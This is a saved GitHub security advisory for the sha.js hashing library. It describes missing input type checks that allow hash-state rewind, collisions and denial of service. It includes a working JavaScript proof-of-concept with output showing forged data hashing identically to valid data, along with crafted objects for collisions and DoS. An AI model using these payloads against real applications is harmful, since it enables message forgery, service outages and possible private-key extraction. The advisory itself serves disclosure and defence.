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sha.js is missing type checks leading to hash rewind and passing on crafted data

Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.

osv · GHSA-95m3-7q98-8xr5

Published

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe ``` Or just: ```console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' ``` ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

Source published
21 Aug 2025 14:47:55 UTC
Source modified
10 Sep 2026 03:50:26 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N

Publisher rating · CRITICAL

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